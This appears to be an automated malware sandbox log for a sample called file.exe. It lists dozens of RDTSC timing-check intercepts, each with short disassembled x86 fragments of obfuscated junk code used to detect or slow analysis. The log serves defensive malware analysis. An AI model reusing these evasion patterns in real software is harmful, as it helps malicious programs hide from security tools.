Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F3DD second address: 117F3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F3E2 second address: 117F3E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11830CA second address: 11830E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5C289E2D1Eh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189F60 second address: 1189F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189F64 second address: 1189F88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5C289E2D1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edx 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F5C289E2D16h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189F88 second address: 1189FA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189FA7 second address: 1189FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F5C289E2D1Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189FB6 second address: 1189FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5C287768DFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ADF1 second address: 119AE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D29h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AE11 second address: 119AE3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768DCh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F5C287768E2h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199884 second address: 1199888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199888 second address: 1199892 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5C287768D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199892 second address: 11998A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5C289E2D1Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199E0E second address: 1199E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768DFh 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199E2C second address: 1199E31 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199E31 second address: 1199E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768DBh 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F5C287768F4h 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F5C287768D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199E51 second address: 1199E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199E55 second address: 1199E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A0F7 second address: 119A0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A0FE second address: 119A10A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5C287768D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A10A second address: 119A10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AAE7 second address: 119AAF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5C287768D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AAF1 second address: 119AAFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E9FB second address: 119EA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E540 second address: 119E555 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5C289E2D20h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E697 second address: 119E6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F5C287768D6h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 popad 0x00000014 jbe 00007F5C287768D6h 0x0000001a popad 0x0000001b jne 00007F5C287768F4h 0x00000021 jmp 00007F5C287768E8h 0x00000026 jnc 00007F5C287768D6h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 jmp 00007F5C287768E0h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6744 second address: 11A6780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F5C289E2D1Ch 0x0000000f push eax 0x00000010 jmp 00007F5C289E2D28h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9328 second address: 11A932C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A932C second address: 11A9330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A917E second address: 11A919F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768E8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A919F second address: 11A91A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A91A3 second address: 11A91B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCB21 second address: 11BCB25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC997 second address: 11BC9AB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5C287768D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F5C287768D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC9AB second address: 11BC9AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC9AF second address: 11BC9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5C287768E3h 0x0000000c jmp 00007F5C287768DBh 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC9CD second address: 11BC9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC9D8 second address: 11BC9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE0B6 second address: 11BE0CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F5C289E2D21h 0x0000000c jmp 00007F5C289E2D1Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0D3F second address: 11C0D6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5C287768E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0911 second address: 11C0919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0919 second address: 11C091F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C65 second address: 11D6C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C69 second address: 11D6C8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E3h 0x00000007 jnc 00007F5C287768D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5B30 second address: 11D5B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5C6D second address: 11D5CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5C287768D6h 0x0000000a popad 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F5C287768DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F5C287768E6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5CA0 second address: 11D5CA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F5A second address: 11D5F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F60 second address: 11D5F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F64 second address: 11D5F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5C287768E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5C287768E0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F98 second address: 11D5FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnp 00007F5C289E2D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F5C289E2D2Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6117 second address: 11D6130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F5C287768D6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6575 second address: 11D657B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D683A second address: 11D6875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5C287768DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5C287768E2h 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5C287768DBh 0x0000001b jc 00007F5C287768D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8238 second address: 11D8249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D1Ch 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAE3D second address: 11DAEAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5C287768DFh 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 add edx, 34B6FD70h 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F5C287768D8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 clc 0x00000034 call 00007F5C287768D9h 0x00000039 jmp 00007F5C287768E1h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F5C287768E1h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAEAE second address: 11DAEB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAEB3 second address: 11DAED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F5C287768DDh 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAED1 second address: 11DAEE0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAEE0 second address: 11DAEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAEE4 second address: 11DAEFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DB17A second address: 11DB17E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC754 second address: 11DC75F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F5C289E2D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE883 second address: 11DE8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768DCh 0x00000009 jmp 00007F5C287768E7h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F45FE second address: 10F4604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0373 second address: 4CF0377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0377 second address: 4CF037D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF037D second address: 4CF03BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov edi, 4F318DECh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F5C287768DDh 0x00000016 pushfd 0x00000017 jmp 00007F5C287768E0h 0x0000001c sbb ax, 6738h 0x00000021 jmp 00007F5C287768DBh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03BE second address: 4CF03C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03C4 second address: 4CF03C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03C8 second address: 4CF03D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03D9 second address: 4CF03DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03DD second address: 4CF03E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03E1 second address: 4CF03E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03E7 second address: 4CF03F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03F9 second address: 4CF0433 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F5C287768E6h 0x00000012 mov edx, dword ptr [ebp+0Ch] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5C287768DAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0433 second address: 4CF0437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0437 second address: 4CF043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0488 second address: 4CF0491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 60C4h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0491 second address: 4CF0497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0497 second address: 4CF049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106C6 second address: 4D106CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106CC second address: 4D106E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106E1 second address: 4D106E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106E5 second address: 4D1074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov edx, esi 0x0000000c call 00007F5C289E2D24h 0x00000011 mov ah, 1Eh 0x00000013 pop ebx 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 jmp 00007F5C289E2D1Ah 0x0000001d mov ebp, esp 0x0000001f jmp 00007F5C289E2D20h 0x00000024 xchg eax, ecx 0x00000025 jmp 00007F5C289E2D20h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F5C289E2D1Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1074B second address: 4D10760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10760 second address: 4D107AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5C289E2D27h 0x00000009 adc ah, 0000000Eh 0x0000000c jmp 00007F5C289E2D29h 0x00000011 popfd 0x00000012 mov edi, esi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ecx 0x00000018 jmp 00007F5C289E2D1Ah 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107AF second address: 4D107B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107B3 second address: 4D107B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107B7 second address: 4D107BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107BD second address: 4D107CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107CC second address: 4D107D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
